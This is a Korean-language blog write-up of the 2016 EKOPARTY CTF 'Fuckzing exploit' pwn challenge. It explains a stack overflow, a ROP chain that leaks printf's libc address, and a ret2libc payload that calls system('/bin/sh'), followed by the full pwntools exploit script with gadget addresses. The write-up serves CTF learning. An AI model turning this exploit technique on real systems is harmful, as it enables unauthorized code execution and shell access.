2016 EKOPARTY Fuckzing exploit
by St1tch바이너리 자체는 reversing 250점 문제와 똑같다.
키를 맞추고 나면 memcpy함수가 실행된다.
입력값의 1~100번째 값은 키를 맞추는데 사용됬고,
101번째 부터는 ebp-20h 에 복사가 된다.
따라서 입력한 값 100 + 0x20 + 8 = 140번째에 넣는 값은 rbp+8, 즉 리턴되는 주소이다.
system('/bin/sh')를 사용하기 위해서는 실제주소를 알아야하기 때문에 릭하는 과정이 필요하다.
나는 rop페이로드를 짜서 printf의 주소를 알아낸 후,
libc의 오프셋주소를 이용해서 실제 system주소와 /bin/sh 문자열 주소를 알아냈다.
그리고 두번째 실행할 때, system('/bin/sh')가 실행되도록 페이로드를 구성한 후 보냈고 쉘이 따졌다.
aslr이 꺼져있다고 적혀있었기 때문에 굳이 트리거를 시킬 필요는 없었다.
from pwn import *
def conn(local=True) :
global s
if local :
s = remote('localhost', 7788)
pause()
else :
s = remote('7e0a98bb084ec0937553472e7aafcf68ff96baf4.ctf.site', 10000)
key = open('key', 'rb').read()
libc = ELF('libc.so')
printf_got = 0x606020
write_plt = 0x400960
ppppppr = 0x40567A #rbx, rbp, r12, r13, r14, r15
add_dh = 0x40524c #add dh, bh
p_rdi = 0x405683
p_rsi_r15 = 0x405681
def solver() :
p = log.progress('pwn..... ')
pay = key[:140]
conn(1)
p.status('got address leak....')
pay1 = pay + p64(ppppppr) + p64(0x100) + p64(0) * 5 #rbx=0x100
pay1 += p64(add_dh) #rdx=rbx=0x100
pay1 += p64(p_rdi) + p64(1) #rdi=1
pay1 += p64(p_rsi_r15) + p64(printf_got) + p64(0) #rsi=got_printf
pay1 += p64(write_plt)
s.sendline(pay1)
s.recvuntil('bye!')
printf = s.recv(8)
printf = u64(printf)
s.close()
p.status('get shell....')
offset = printf - libc.symbols['printf']
system = offset + libc.symbols['system']
binsh = offset + list(libc.search('/bin/sh'))[0]
conn(1)
pay2 = pay + p64(p_rdi)
pay2 += p64(binsh)
pay2 += p64(system)
s.sendline(pay2)
p.success('Success!!')
s.interactive()
if __name__ == '__main__' :
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch